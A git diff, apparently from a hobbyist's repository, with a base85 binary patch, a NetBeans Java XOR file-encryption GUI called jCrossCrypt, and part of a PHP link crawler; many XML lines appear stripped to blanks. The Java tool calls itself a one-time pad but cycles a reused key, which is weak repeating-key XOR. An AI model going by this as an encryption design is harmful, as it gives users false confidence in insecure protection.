zt3O6Ais&4bcT?VEY4yvS2`~ErqSS;egqKyZsm5(w&1Q;gx3kRhteP_|J*FE~6EZz+ zm?v2i>ggDw;Q2hsvj~K>r-{w%?8quDBv`qak5&e;-HVGm{rz=bJSc7#qPs9~${#6k zsj`!9|L2ySa>l{_lrWYCy<(;Sm~m&6znU^NL?#CSv!-&2oLci-in1o%vV06V88oB?J|qXdNQI)^3XLg%im zI)WZEV=6PHbcdK8^HEHX8G1?(`Uxp%sQ)K`AmtHo^Xpo->Y+U?+x=-lwk<3HF{!6O zvm*sRByC2#Klicefjx&qnO`Ol>cr#mG zb2#3@aW2Q(@aJRmH#s zLB>DB>0LW`iyD?fPZSbcTz9^4bWoUflYo79iw#s5cuufpJpIGCYcU!Zn*l$%ycsK7 z?5lzZn}w^JwzRa(--DI@P9N~zp-T#TUj5ZO3Al-QGWk$&&Z0H-wHp?!SY5keSxw`L zH4Pi;8yc6@QutcTgK;hZ&?x2N0ib=08l{F^0cdU9rogkYzYn#Ah1}+yTWLwy{61q{ zk4aJH1kdgV+OVszZG=i*4CCQ&gUr; z!7NIa#==4`q=^6va-eFmU8im! z(TY)rAbsH4atoa1}IBs zX|leytgUTF&CV?go138sHJJ}xz+Sj%PpevHXH4G}&cN*4)TJH(>bGM7xP>ZE>QNHY z`qwO8pgsT;(%5zbKK<5W;O%A_ZhRoLFeIB=+mIvmZrQaAGhg$P4p9HRp>4G_^y|~I z%jALwhIH2k&c<$V-x{M}sgY4M4M?HZ+C~5647s~G=lm!(+99)Tt0D_oX=ARc+NJJX zsFG&EgE5WmUgsv2R?DO-{Iaj6%0gShE`A?TL?A+ILhiNhW~SqL7P>zk$D zf~==T<$7w-&bG^ap9Vf;IgQKDT#%X1&-_@ul1J8KIZciIi974Tz!W%<`Pf)<-?Z&* zU+~p+76|NL0}EB(3N_2vG=+zV1#Ruwm`GcPdaMczN9bq{SzcpYE{@B(xU7%MC2=Bx z%Z9jYj7w8oHpL0LF8GSw8kcQx*&dgcxLg*O9dT)m%hhqhhRd~axh^i($JsJXTSQtF z_O$86U(Iy0)TpkfM^g4s#l*y#d!}zInR4+o(LzhIiVKZCUK^Zs&wiRG*iRXEa~pex z$U&b;+qq@w|A(ero(XLI^cg$tay8r5&rV=m?#UQ0=XDko!>y%28XsNIW$X~rHKm{N zaW**n&CFajORa}Wd%U|?*N8)UzHROg_VJRgGaK)Ny4=mod|+Tmmz!O?WhD1=%_7+y z(}OW#_#riXn%HwY3~l(f9_c}$O+Q=XqmO1#lrioJ+i+&Cb_2OfkK4D>X!pB%T92*F z8UP^@z?_e!F8&Db^@O&MYz?Ck`iAGjqmkUK$sL;XRqKdyO{U1R8s_Kue7RCy$Vclp zmCq&y$pxB}NWXlxbNlDxbC+b6h7sH?160fO#e8I_FXf|m+?mf#KFLZ=O5}t_<2#v; z*VLEu*-s%^D1VbL^W<;yrACv*nkih5j=Cu~BDz$fG@Uncvd zm2e7|GaTB8h1hP;GaOt_=6)N&DKzfNK~&~dBs2)?u9tlCzM=>^ z-NTC_i6b(oC{h?dBK?XYF%$Cb!NydAxLdCTYAwPQT(Exd3ff4q!q{<@C&vo&j}M6* zB`B1>mDD1Lx1!28olY^Kt6~R*QmuuYsV~LC6~*Pg(o-x;EkW#?* zO1q#)6?n99QEeP3;T_vPv*Up6K#}|#%0s`RjlX7O{kwtL%H}2pkWQrK7Sf3ZDur~S zfl47=Bd2_*F81lYxSWtjsvc8V!M3>*A=p=hU|&|SZm?^|(A%`?9aE!ib8%2(v0r19 z@l1>rgPR&G3vKJ~<-I61k1vXpl@B@Ll$Z^&!;<2>qHIW~Q%+iv=>u!38)Q{5qIzY)XwssdEBVK+m@6e1GeYtlI}KTE7X(!n1XUIU*e);?X_b5v{fh1fE7}va zgY6!^x;9p7(&1CiPtPa#N1c21d~)J=yB{aS@4gc18mrwoMk*YF z2RLPHJXK(}P=#jaL|K4|kYdU1_0$F+*BU@|uZJ(L58e$viH?OBdZi*yO1{bTeo6+A z$=A40j~!%ZTah&AcnAPPna(uyTW6qBJ5z=_=c3j;+f=N$8i=k`6}Fp-jj;g;V{v0u*W`CS zqt0vzJM-9ur~z#YKv}I+v(s=M8`NcxcNmDbqoj^mYV-K;{I zz8XE^dYO)vetHP>L91dH^MOYggmchVu|z&IfOsb3pRlG1OMq?GUOt=$eK=>7#(Dsg zsY=1@l>sx^Gnnf@=z28VFOhyI_fK;+1z`3L!0Zi~!6T0hlcFd@x_70g6sV zU_z&>XvK3*UHNPBFv_SYukM)i=HyX66e-A+t;R~e;;I?;njGSZlE|xaC>^J46y+FA z3}-9QZewt7XO6iHsCR(eRvF}6jvm8K=9(*H9I7}~s4h=O0eQBwH)u^2guR!EBBC$_ zZJ6t~ASL4mynN0K0G7FaYyO#Y9s27PW>iLOJ67Pa{9v6@J-e-yC!Esi zXl17pn;t8xWZVrnX!c#@cO}u6o#BpbEQ)PBZte{9@BBV|Cp1WnqK|U}#B(FPauYh> zH_LG67Ut1g(F4Ct<~g^c2XF^=$9J0c>1VJXD}5y!;=3_VD0xR9tZLJ$C=0`>!AEj^ z(E9bk&{*&HAWp^k08VpKU>Th_#JFo84er5ZiA1*$c1#bQWV<5Ce0< zEK^QO?gXp4tSkUEPdk7)=c7H&X<(I+C`Ih8HQ9dEB4R6E(DyDT9eZ2cg2ITU=8OY@=C> ze4OW)u$(cZt}`;*r~B*Af2X5=fr$QeF3ZJoca^tg?@P%O3CT}L?}QX2q>z}S3F&9t zxz9w}Xre;+k*We;)Pt~Y~F6s6RM|Nd*8a3!xv;L8)QiK_QJgCCRRgJ zJ7^3&9ol0_Kb=PSSVKnsj)js@)#XY?RoriC4N1*>H@0cPj=xi2X~gfa9=9e+OdbCI z!;T%ZtcW{cZH^vS)`Na@Gq6zLiw z4AB#1q=ngG*N$B7DsQ$Gr(F@{zH2CicmI>3?!TZ2Im>rcMh4uIWcdFDG4HunWNf>~ z|D5Ld!iJj=e01l9-}QGy!ta`G^ek6cX>#?+FCQ)rA#aIn)L=w;ekj4QvLm0h9my!c zZ_OCNZ_O~lWzBF+MhGrz&JkSJ6bmkEhG}HREJ=KC2|0*Nm3Ec}S-AX>wH( z2If{xKAuEaakVD5C6QfyEQzS=`XsWh>yik&_9qEvd~Fhu7mr*bH*0dcCU+z$Pf_sAnl5E$TW@d;x1%a*9D46|0QYRVM_aZm*5v6%36e)YLU=iXpYMem+SdTmhgIPKv?g}QR+7g5FHhvJMviK zj-ww?_vX#9@Z#mj-^U@kFXzqi^hP;vmeCg#@)+-`vhg@NbPf_U_A<QF^L!EW0@ZkQ&v(Z+M`M88- z(04wv+|?j@9h{V!wm(4bL5S^Pq`ikh_)#=Xk71twSrGl-5Xb!(VU%{+t#G1aLG)1g z))?>9Qs#C#ehc+2Ca2pD9z2c>;`OHAQFIG6wwTU)69`%i>AndJM*W(*3&<%C{3d+S z1~~L;WO22?5ChuJK}^l?lAq;Xx@5+_?RdnsQJx~Ax9#{7@+sAvKP)3vOelxcH1!ZN zc$E>#L3;r+79%|jO9~A!8%=pM-g^;PxDd&9F#^va@Sx+_CzyyVa2h=748*l*;w|P0 z6-`C8{-CYZL0c8uwyo8sg`Rm%+n|G&Db8=h6P#)5=P4o9Ri>OLC9hIx4_gqq^N@^J z5pSY2aa4vyj_aYgG8KK2*ofwCugVmrXy`UuUfs0B@|<@A*#YR`9_G*cm|QtScGZ z4;7G!VHGYQtb-Y`(1cYn`vhv4K14?I(sJ#rLNo09C^RxgEl4XHvJ%YPy2|J5GkfCr zD7Cj?X+~X!_T&yc#gA$=+Et^v_7-3852Klx3Pc1e)zQBdIP|EY*)>d2cYa^l_=PRa z8YxSo?PT;3ji#dk+1IpEHAuU9f+;7TtA^bK){LF6UYKLR{v@WkFodk4tS_>f*BEuOx989^&vVDQD9nlE*nbrb zv?z~Ha*ie=H7Qboz(7rgYGMQeB`OdYqzSxeJ}bLEDoiNQT%l@xAs<+x@_`E3s}cpA z+m>lkE?4EVpubwB2iN4Y@q(}08FF1d3;pX=gm6P1TWlY7ENx|>WD)vM61J9WTjgF& zKAEJb1Df2U$$cMI)DRLWpsd<;_ zNWfpST33ewdPe`ShPG$LaG%41Gd7Y!_jH$%p5g9`;P(oT8$cr{XoXmtV}(WP$}(ez8qad`l;$!U=Pc?y{&2USb zkP>V$;BN)^C4i>jC%9_C*I?bNXrOkN=Ek59swi89yr7*rHK&MG9(Wc1a2R27E0G#R zsqZ|5IXfYNfpF4`$;Ek_A#2eg-=HSt@@HFq^9ySg36TytS`vu`NYJ*!fYS76Ww_;0 zZ8=IoK+&5CVG1qRG3ShdiS4!Coij1>}Q|82R8Mo$^Fx zH~XNo6m6B|PMuR7aqzX7cT%3Lj-klNA?}|cn2It0jxALg8T7ZV(d&?heZiv^{IDtb zVQ8|4>$v5FPCMk&P-ur7(pTdarbFh{Lv-D-WfZSHd)neDA=+aJ%aNTCVErk8Jzl4B zG(V3rM_i+=n;X@TM*r&AF)7d_sY$dtR`!BChF<1pDqfJIl`qKQlE@2kq$K)+JgRb0 z{9rmI3=cgHWq9auB%(7tj)SypH|=LCM1H^|SPD@LVGs=Et2B(y&Tyo=BN*vpAg{5I z{di`hGKNtFY7&#=H;C!pMd2k+raS6y6R*e4V2(p&rZb%5NIBOT&2b!BMrEjyRN*ai zvdnd+qj6M?3dVWtf~j9+C0R8ypDF*q?9;;FIZytcIj99+n@V`2Aek5?3c{Vs$&Dtr z6w;4TswMIm8d$?1TKyc1b%p>N-ehDvZWr5xB+L(m?IEd!7TD``)1`T_q=28bgk zc+ZuS*@Bg5>&oBqY1Yp(#pG66=x)~2MYQrjNNs`r?6WnMP20%k5~ED5nZJOr zykzOJ<#j7ou3BB+u;#+G7d2kov}yB}=B?Ydw_LWP_41uwkB8hCfR zja9W35rt!nUNc${VHt?ZH}W9LZN!|9%XIRNx43N8DpT!P|>qU zqdT4`IFM6dyVjEdY2KEM#i+NXbr0;k ztuOsu@rJgx)*UTiENQO!MXTxNLW4*Zf@lu8M|;a=AnGpo=%U~d)@kT(*nG9+$tuHI zBkJX#`aid1BTE8dI8GWI4rJS-20%~dgz?MMC{PQyZY+2%5;!vx{+}|Y3wHheoqnVB zqx=3QJfm;M8|?e{vU~mhL)qMShT9$=m$JB&$E6}Jm2s(x%LKFOuiO1Sa@Yeb58S1n zVTAmMh97>jKPTsV8fGR$L--PFEFx!y))he^f>QDlb8I^85+pT~Og5=}1E zWP>IflkDI$X|hR^mLw{M+cepkWKFO+$qq}iCRZe3gE*~~E0el|mxLj>JjoiDYZpkX zCcBc9w?&h!np~#I4o%uL!5-N+BRb0+@GQ1;VD~YSW=t1TwXl-VO&{fqTo?sC7Asa+ zRj7rAE^t9_aHh;9_~rZnxiE8it7R_l;j(2ei?H3wFqgVESGEge+LzHeHmhZM*0Nm{ zC*<}Xcac9H+C@&Xi)>sPna$a1Ruf1qIskOa-*SWrt6<(+fyPf(q3g9b*=qV<4GwmY7wflSro^ z-k1sRvlwAXBl3E?$Xki#&>Qfj7nEF(ao^j^ahc>W*s)kL|-S9llnnBfRqgeRBPc<6M$NS979DQ0y0a;sip^0f)C);fTzGuJ1N(u+>>%kr(B2DhVm-c zyd=AEWGK4}2en2vMqBk1y1I(r)f*#QUXnc-I=6y{W|scj0H_68*uj##)c~Y|2P*IZ zQZd;i7X2z}V2a_M9b7ty!W`)h%8}NBgd3^vrVK}VK5uj#S?PV&^N<*5LsL*?9mfRy zm~QB70|hKdhwM}CFLF}uf^pnuxW9d!vOmL-?$vfVS+zLqWGltrzjCSLCMj0`de`1D z#bo>>&yZI53R{~sm5b{ZPI&(tc<~9nn$N4XCI9&FGd!(7RlLdksZmYv>hhYp#S3fe z8>*Hs442Tga;56bUko&;j^*jz=$(0-+&KS@^cLo6U(E)$zU!-YucuoHKl#>o4!nd6 zLw{qkD!;9V64X&dI*5{G$GSFX@WC0+uR%tmzjL$7+&?=vqu0gxL}u^G+TiD|=3jdfDD z-^yKHS0@{};k@+my>I`J!t^&bQz*GdzTZQ+?QMImusdO+Cgm=)aMm09-vdznf!5I9 zi$6GXp`l1v%bRv@-k!UT^DchlN4FJ;=x;`-2KN6Q(UIzQ?Z#j!9u4q>$P)5Gh^;>fC@RuL{C2L6iP0AEY z?#;W-w&e4hTX#3*E`DFh$L@K5zKH%*@R|7=%YNG#ke|EAt_}h-MQ;CL?jr4wHEI~S zi|lIPl_~N+-ppMjd^R>I8SSCm<#ttW%aptJz1-z?+eOUTX + + + + + Builds, tests, and runs the project crosscrypt. + + + + + + + + + + diff --git a/java/jCrossCrypt/src/crosscrypt/hlavokno.form b/java/jCrossCrypt/src/crosscrypt/hlavokno.form new file mode 100644 index 0000000..6f942d7 --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/hlavokno.form @@ -0,0 +1,163 @@ + + +

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/java/jCrossCrypt/src/crosscrypt/hlavokno.java b/java/jCrossCrypt/src/crosscrypt/hlavokno.java new file mode 100644 index 0000000..62fa4c1 --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/hlavokno.java @@ -0,0 +1,241 @@ +import java.io.*; + +/* + * hlavokno.java + * + * Created on 24. září 2007, 0:37 + */ + +/** + * + * @author harvie + */ +public class hlavokno extends javax.swing.JFrame { + + /** Creates new form hlavokno */ + public hlavokno () { + initComponents (); + } + + /** This method is called from within the constructor to + * initialize the form. + * WARNING: Do NOT modify this code. The content of this method is + * always regenerated by the Form Editor. + */ + // //GEN-BEGIN:initComponents + private void initComponents() { + jDialog1 = new javax.swing.JDialog(); + jFileChooser1 = new javax.swing.JFileChooser(); + jButton1 = new javax.swing.JButton(); + jTextField1 = new javax.swing.JTextField(); + jButton2 = new javax.swing.JButton(); + jTextField2 = new javax.swing.JTextField(); + jButton3 = new javax.swing.JButton(); + jTextField3 = new javax.swing.JTextField(); + jButton4 = new javax.swing.JButton(); + jTextField4 = new javax.swing.JTextField(); + jButton5 = new javax.swing.JButton(); + + jFileChooser1.setCurrentDirectory(null); + + org.jdesktop.layout.GroupLayout jDialog1Layout = new org.jdesktop.layout.GroupLayout(jDialog1.getContentPane()); + jDialog1.getContentPane().setLayout(jDialog1Layout); + jDialog1Layout.setHorizontalGroup( + jDialog1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(jFileChooser1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) + ); + jDialog1Layout.setVerticalGroup( + jDialog1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(jFileChooser1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) + ); + + setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE); + setTitle("One-time pad (XOR) symetric encryption [<-Harvie 2oo7]"); + jButton1.setText("Input"); + jButton1.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jButton1MouseClicked(evt); + } + }); + + jButton2.setText("Output"); + jButton2.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jButton2MouseClicked(evt); + } + }); + + jButton3.setText("Key"); + jButton3.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jButton3MouseClicked(evt); + } + }); + + jButton4.setText("Start"); + jButton4.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + crypt(evt); + } + }); + + jTextField4.setEditable(false); + jTextField4.setText("Waiting..."); + + jButton5.setText(".ccr"); + jButton5.addMouseListener(new java.awt.event.MouseAdapter() { + public void mouseClicked(java.awt.event.MouseEvent evt) { + jButton5MouseClicked(evt); + } + }); + + org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() + .addContainerGap() + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) + .add(org.jdesktop.layout.GroupLayout.LEADING, jButton4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 467, Short.MAX_VALUE) + .add(org.jdesktop.layout.GroupLayout.LEADING, layout.createSequentialGroup() + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) + .add(jButton3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE) + .add(org.jdesktop.layout.GroupLayout.LEADING, jButton2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + .add(org.jdesktop.layout.GroupLayout.LEADING, jButton1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 78, Short.MAX_VALUE)) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) + .add(jTextField3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 383, Short.MAX_VALUE) + .add(org.jdesktop.layout.GroupLayout.LEADING, jTextField1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 383, Short.MAX_VALUE) + .add(layout.createSequentialGroup() + .add(jTextField2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 323, Short.MAX_VALUE) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(jButton5)))) + .add(org.jdesktop.layout.GroupLayout.LEADING, jTextField4, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 467, Short.MAX_VALUE)) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(layout.createSequentialGroup() + .addContainerGap() + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) + .add(jButton1) + .add(jTextField1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 24, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) + .add(layout.createSequentialGroup() + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) + .add(jTextField2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 25, Short.MAX_VALUE) + .add(jButton5)) + .add(6, 6, 6)) + .add(layout.createSequentialGroup() + .add(jButton2) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED))) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING, false) + .add(jTextField3) + .add(jButton3, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(jButton4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 26, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) + .add(jTextField4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + pack(); + }// //GEN-END:initComponents + + private void crypt (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_crypt +// TODO crypt code here: + + jTextField4.setText("Working..."); + //jProgressBar1.setValue(0); + + if(jTextField1.getText().equals(jTextField2.getText())) { jTextField4.setText("Output to Input - Can't do this!"); return; } + + try { + if( !(new File(jTextField1.getText()).isFile()) ) { jTextField4.setText("Input file not found!"); return; } + if( !(new File(jTextField3.getText()).isFile()) ) { jTextField4.setText("Key file not found!"); return; } + if( new File(jTextField2.getText()).isFile() ) { jTextField4.setText("Working (Rewriting output file)..."); } + long size = (new File(jTextField1.getText()).length()); + long keysize = (new File(jTextField3.getText()).length()); + long pos = 0; + + BufferedInputStream in = new BufferedInputStream(new FileInputStream(jTextField1.getText())); + BufferedInputStream key = new BufferedInputStream(new FileInputStream(jTextField3.getText())); + BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(jTextField2.getText())); + + //Alghorythm + int inb, keyb, progress; + while((inb = in.read()) != -1) { + while((keyb = key.read()) == -1 /*|| keyb == 0x0A*/ ) { + key.close(); + key = new BufferedInputStream(new FileInputStream(jTextField3.getText())); + } + out.write(inb^keyb); + //pos++; + //jProgressBar1.setValue((int)((pos/size)*100)); + } + + out.close(); + in.close(); + key.close(); + + jTextField4.setText("Waiting... ["+size+" b (en|de)crypted using "+keysize+" b key]"); + } catch(Exception e) { jTextField4.setText("I/O Error!"); } + }//GEN-LAST:event_crypt + + private void jButton5MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton5MouseClicked +// TODO add your handling code here: + jTextField2.setText(jTextField2.getText()+".ccr"); + }//GEN-LAST:event_jButton5MouseClicked + + private void jButton3MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton3MouseClicked +// TODO add your handling code here: + int returnVal = jFileChooser1.showOpenDialog(jDialog1); + if(jFileChooser1.getSelectedFile() != null) { + jTextField3.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName()); + } + }//GEN-LAST:event_jButton3MouseClicked + + private void jButton2MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton2MouseClicked +// TODO add your handling code here: + int returnVal = jFileChooser1.showOpenDialog(jDialog1); + if(jFileChooser1.getSelectedFile() != null) { + jTextField2.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName()); + } + }//GEN-LAST:event_jButton2MouseClicked + + private void jButton1MouseClicked (java.awt.event.MouseEvent evt) {//GEN-FIRST:event_jButton1MouseClicked +// TODO add your handling code here: + int returnVal = jFileChooser1.showOpenDialog(jDialog1); + if(jFileChooser1.getSelectedFile() != null) { + jTextField1.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName()); + jTextField2.setText(jFileChooser1.getCurrentDirectory()+"/"+jFileChooser1.getSelectedFile().getName()); + } + }//GEN-LAST:event_jButton1MouseClicked + + /** + * @param args the command line arguments + */ + public static void main (String args[]) { + java.awt.EventQueue.invokeLater (new Runnable () { + public void run () { + new hlavokno ().setVisible (true); + } + }); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton jButton1; + private javax.swing.JButton jButton2; + private javax.swing.JButton jButton3; + private javax.swing.JButton jButton4; + private javax.swing.JButton jButton5; + private javax.swing.JDialog jDialog1; + private javax.swing.JFileChooser jFileChooser1; + private javax.swing.JTextField jTextField1; + private javax.swing.JTextField jTextField2; + private javax.swing.JTextField jTextField3; + private javax.swing.JTextField jTextField4; + // End of variables declaration//GEN-END:variables + +} diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml b/java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml new file mode 100644 index 0000000..3292c97 --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/build-impl.xml @@ -0,0 +1,594 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set src.dir + Must set test.src.dir + Must set build.dir + Must set dist.dir + Must set build.classes.dir + Must set dist.javadoc.dir + Must set build.test.classes.dir + Must set build.test.results.dir + Must set build.classes.excludes + Must set dist.jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + + + + + + + + + + + + java -cp "${run.classpath.with.dist.jar}" ${main.class} + + + + + + + + + + + + + + + + + + + + + + + + + + + + + To run this application from the command line without Ant, try: + + java -jar "${dist.jar.resolved}" + + + + + + + + + + + + + + + + Must select one file in the IDE or set run.class + + + + + + + + + + + + + + + + + + + + Must select one file in the IDE or set debug.class + + + + + Must set fix.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must select some files in the IDE or set javac.includes + + + + + + + + + + + + + + + + + + + + + + + Some tests failed; see details above. + + + + + + + + + Must select some files in the IDE or set test.includes + + + + Some tests failed; see details above. + + + + + Must select one file in the IDE or set test.class + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties new file mode 100644 index 0000000..99025bd --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.properties @@ -0,0 +1,6 @@ +application.args= + +## classpath entry that is composed from content of bluej.userlib.*.location properties in the user home's bluej.properties file.. +## rebuilt on every opening of the project in netbeans +bluej.config.libraries= +user.properties.file=/home/harvie/.netbeans/5.5bluej/build.properties diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml new file mode 100644 index 0000000..c1f155a --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/private/private.xml @@ -0,0 +1,4 @@ + + + + diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/project.properties b/java/jCrossCrypt/src/crosscrypt/nbproject/project.properties new file mode 100644 index 0000000..f423c1c --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/project.properties @@ -0,0 +1,48 @@ +application.args= +build.classes.dir=${build.dir} +build.classes.excludes=**/*.java,**/*.form +build.dir=${basedir} +build.generated.dir=${build.dir}/generated +build.sysclasspath=ignore +build.test.classes.dir=${build.dir} +build.test.results.dir=${build.dir}/test/results +debug.classpath=\ + ${run.classpath} +debug.test.classpath=\ + ${run.test.classpath} +dist.dir=dist +dist.jar=${dist.dir}/crosscrypt.jar +dist.javadoc.dir=${build.dir}/doc +jar.compress=false +javac.compilerargs= +javac.deprecation=false +javac.source=1.5 +javac.target=1.5 +javac.classpath=\ + ${libs.junit.classpath} +javac.test.classpath=\ + ${javac.classpath} +javadoc.additionalparam= +javadoc.author=false +javadoc.encoding= +javadoc.noindex=false +javadoc.nonavbar=false +javadoc.notree=false +javadoc.private=false +javadoc.splitindex=true +javadoc.use=true +javadoc.version=false +javadoc.windowtitle=crosscrypt +main.class=hlavokno +manifest.file=manifest.mf +meta.inf.dir=${src.dir}/META-INF +platform.active=default_platform +run.classpath=\ + ${javac.classpath}:\ + ${build.classes.dir} +run.jvmargs= +run.test.classpath=\ + ${javac.test.classpath}:\ + ${build.test.classes.dir} +src.dir=${basedir} +test.src.dir=${basedir} diff --git a/java/jCrossCrypt/src/crosscrypt/nbproject/project.xml b/java/jCrossCrypt/src/crosscrypt/nbproject/project.xml new file mode 100644 index 0000000..6cf00ca --- /dev/null +++ b/java/jCrossCrypt/src/crosscrypt/nbproject/project.xml @@ -0,0 +1,16 @@ + + + org.netbeans.bluej.bluejproject + + + + 1.6.5 + + + + + + + + + diff --git a/php/batstat.php b/php/batstat.php new file mode 100755 index 0000000..3740827 --- /dev/null +++ b/php/batstat.php @@ -0,0 +1,53 @@ +#!/usr/bin/php + $max) { + fclose($fp); + if($GLOBALS['debug']) echo("**Too much big file!!!: $file\n"); + return(0); + } + } + @fclose($fp); + return(1); +} +function check_crawl_url($url) { //URL Filter for crawl_url function + if($GLOBALS['debug']) echo("check_crawl_url\n"); + foreach($GLOBALS['eregi_url_blacklist'] as $black_url) { + if(eregi($black_url, $url)) return(0); + } + + @fclose($GLOBALS['total']); + if(in_file($url, $GLOBALS['crawl_file'])) return(0); + $GLOBALS['total'] = fopen($GLOBALS['crawl_file'], 'a'); + + if(!file_size_check($url, $GLOBALS['maximum_file_size'])) return(0); + return(1); //1 == disable whitelisting, 0 == enable whitelisting +} + +function save_crawled_url($url) { //Saves URL to database, etc... + if($GLOBALS['debug']) echo("save_crawled_url\n"); + $GLOBALS['total_urls']++; + $url = trim($url); + echo($GLOBALS['total_urls'].':'); + echo($url."\n"); + @fwrite($GLOBALS['total'], $url."\n"); + @fwrite($GLOBALS['next'], $url."\n"); +} + +function crawl_url_once($url) { //Main crawling function + if($GLOBALS['debug']) echo("crawl_url_once\n"); + save_crawled_url($url); + $in = @file($url); if(!$in || !is_array($in)) return(1); + foreach($in as $line) { + $line = spliti('href="http://', $line); + if(sizeof($line) > 1) { + array_shift($line); //print_r($line); //Debug + foreach($line as $nurl) { + $nurl = spliti('(\?|#|\*|")', $nurl); + $nurl = 'http://'.trim(htmlspecialchars_decode($nurl[0])); 